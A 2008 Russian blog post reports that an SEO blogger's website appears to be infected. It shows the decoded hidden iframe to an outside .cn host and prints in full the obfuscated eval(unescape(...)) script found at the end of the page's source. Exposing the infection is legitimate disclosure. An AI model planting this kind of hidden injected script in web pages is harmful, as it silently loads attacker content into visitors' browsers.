воскресенье, 17 августа 2008 г.

Сайт Московского Полубомжа содержит вредоносное ПО

Видеообзор CMS для сателлитов *
[F17]
Захожу на его сайт и вижу такое:



Вот вопрос - это плагин WP-ban так работает ИЛИ хакеры подложили ИЛИ МПБ так со спамерами борется?

Под катом содержится дезактивированный и расшифрованный текст самого айфрейма и его исходник:


(iframe src="http://orentraf.cn/in.cgi?13" style="visibility: hidden: display: none")(/iframe)

Кто сомневается, вот исходник страницы:

Requesting http://www.mpbseo.ru/ .. Ok
Reply received (reply time: 765 ms)
-----------------------------------
HTTP/1.1 200 OK
Date: Sat, 16 Aug 2008 20:22:13 GMT
Content-Type: text/html
Connection: close
Server: Apache
Content-Length: 2714

...тут текст страницы...

(/html)(script type="text/javascript")
eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%5C%75%30%30%33%63%5C%75%30%30%36%39%5C%75%30%30%36%36%5C%75%30%30%37%32%5C%75%30%30%36%31%5C%75%30%30%36%64%5C%75%30%30%36%35%5C%75%30%30%32%30%5C%75%30%30%37%33%5C%75%30%30%37%32%5C%75%30%30%36%33%5C%75%30%30%33%64%5C%75%30%30%32%32%5C%75%30%30%36%38%5C%75%30%30%37%34%5C%75%30%30%37%34%5C%75%30%30%37%30%5C%75%30%30%33%61%5C%75%30%30%32%66%5C%75%30%30%32%66%5C%75%30%30%36%66%5C%75%30%30%37%32%5C%75%30%30%36%35%5C%75%30%30%36%65%5C%75%30%30%37%34%5C%75%30%30%37%32%5C%75%30%30%36%31%5C%75%30%30%36%36%5C%75%30%30%36%36%5C%75%30%30%32%65%5C%75%30%30%36%33%5C%75%30%30%36%65%5C%75%30%30%32%66%5C%75%30%30%36%39%5C%75%30%30%36%65%5C%75%30%30%32%65%5C%75%30%30%36%33%5C%75%30%30%36%37%5C%75%30%30%36%39%5C%75%30%30%33%66%5C%75%30%30%33%31%5C%75%30%30%33%33%5C%75%30%30%32%32%5C%75%30%30%32%32%5C%75%30%30%32%30%5C%75%30%30%37%33%5C%75%30%30%37%34%5C%75%30%30%37%39%5C%75%30%30%36%63%5C%75%30%30%36%35%5C%75%30%30%33%64%5C%75%30%30%32%32%5C%75%30%30%37%36%5C%75%30%30%36%39%5C%75%30%30%37%33%5C%75%30%30%36%39%5C%75%30%30%36%32%5C%75%30%30%36%39%5C%75%30%30%36%63%5C%75%30%30%36%39%5C%75%30%30%37%34%5C%75%30%30%37%39%5C%75%30%30%33%61%5C%75%30%30%32%30%5C%75%30%30%36%38%5C%75%30%30%36%39%5C%75%30%30%36%34%5C%75%30%30%36%34%5C%75%30%30%36%35%5C%75%30%30%36%65%5C%75%30%30%33%62%5C%75%30%30%32%30%5C%75%30%30%36%34%5C%75%30%30%36%39%5C%75%30%30%37%33%5C%75%30%30%37%30%5C%75%30%30%36%63%5C%75%30%30%36%31%5C%75%30%30%37%39%5C%75%30%30%33%61%5C%75%30%30%32%30%5C%75%30%30%36%65%5C%75%30%30%36%66%5C%75%30%30%36%65%5C%75%30%30%36%35%5C%75%30%30%32%32%5C%75%30%30%33%65%5C%75%30%30%33%63%5C%75%30%30%32%66%5C%75%30%30%36%39%5C%75%30%30%36%36%5C%75%30%30%37%32%5C%75%30%30%36%31%5C%75%30%30%36%64%5C%75%30%30%36%35%5C%75%30%30%33%65%27%29%3B"));
(/script)



Думаешь с чего начать? Слушай и учи матчасть!

* Эффективная реклама в бомжеленте.

Помогите Марине!

[http://homelessinlugansk.blogspot.com/2008/08/blog-post_6485.html]